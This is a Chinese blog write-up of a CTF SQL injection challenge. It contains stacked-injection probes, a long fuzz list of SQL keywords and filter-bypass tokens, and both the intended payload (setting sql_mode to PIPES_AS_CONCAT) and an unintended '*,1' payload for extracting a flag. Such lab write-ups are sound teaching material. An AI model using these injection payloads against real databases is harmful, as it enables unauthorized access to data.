先打开测试一下,有三种,分别是array,nonono,无回显。可以堆叠注入
1;show databases;
1;show tables;
fuzz
fuzz,这里贴上一些关键字
length
+
handler
like
select
sleep
database
delete
having
or
as
-~
BENCHMARK
limit
left
select
insert
right
#
--+
INFORMATION
--
;
!
%
+
xor
<>
(
>
<
)
.
^
=
AND
BY
CAST
COLUMN
COUNT
CREATE
END
case
'1'='1
when
admin'
"
length
+
length
REVERSE
ascii
select
database
left
right
union
"
&
&&
||
oorr
/
//
//*
*/*
/**/
anandd
GROUP
HAVING
IF
INTO
JOIN
LEAVE
LEFT
LEVEL
sleep
LIKE
NAMES
NEXT
NULL
OF
ON
|
infromation_schema
user
OR
ORDER
ORD
SCHEMA
SELECT
SET
TABLE
THEN
UNION
UPDATE
USER
USING
VALUE
VALUES
WHEN
WHERE
ADD
AND
prepare
set
update
delete
drop
inset
CAST
COLUMN
CONCAT
GROUP_CONCAT
group_concat
CREATE
DATABASE
DATABASES
alter
DELETE
DROP
floor
rand()
information_schema.tables
TABLE_SCHEMA
%df
concat_ws()
concat
LIMIT
ORD
ON
extractvalue
order
CAST()
by
ORDER
OUTFILE
RENAME
REPLACE
SCHEMA
SELECT
SET
updatexml
SHOW
SQL
TABLE
THEN
TRUE
instr
benchmark
format
bin
substring
ord
UPDATE
VALUES
VARCHAR
VERSION
WHEN
WHERE
/*
`
,
users
%0a
%0b
mid
for
BEFORE
REGEXP
RLIKE
in
sys schemma
SEPARATOR
XOR
CURSOR
FLOOR
sys.schema_table_statistics_with_buffer
INFILE
count
%0c
from
%0d
%a0
=
@
else
这里插一句,如果bp代理监听器勾选不上的话,可能是端口占用。先查找端口占用的进程netstat -ano | findstr 8080
,再把这个进程关掉就好了。
sql_mode
sql_mode定义了MySQL应支持的SQL语法,以及应该在数据上执行何种确认检查,其中的PIPES_AS_CONCAT
将||
视为字符串的连接操作符而非 “或” 运算符。
这个模式下拼接字母会出错,只能拼接数字。
预期解
这是一个堆叠注入
payload:1;set sql_mode=pipes_as_concat;select 1
源码里的语句是select ".$post['query']."||flag from Flag
,现在就能够理解了。
非预期
payload
:*,1
拼接一下:select *,1||flag from Flag
等同于select *,1 from Flag
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!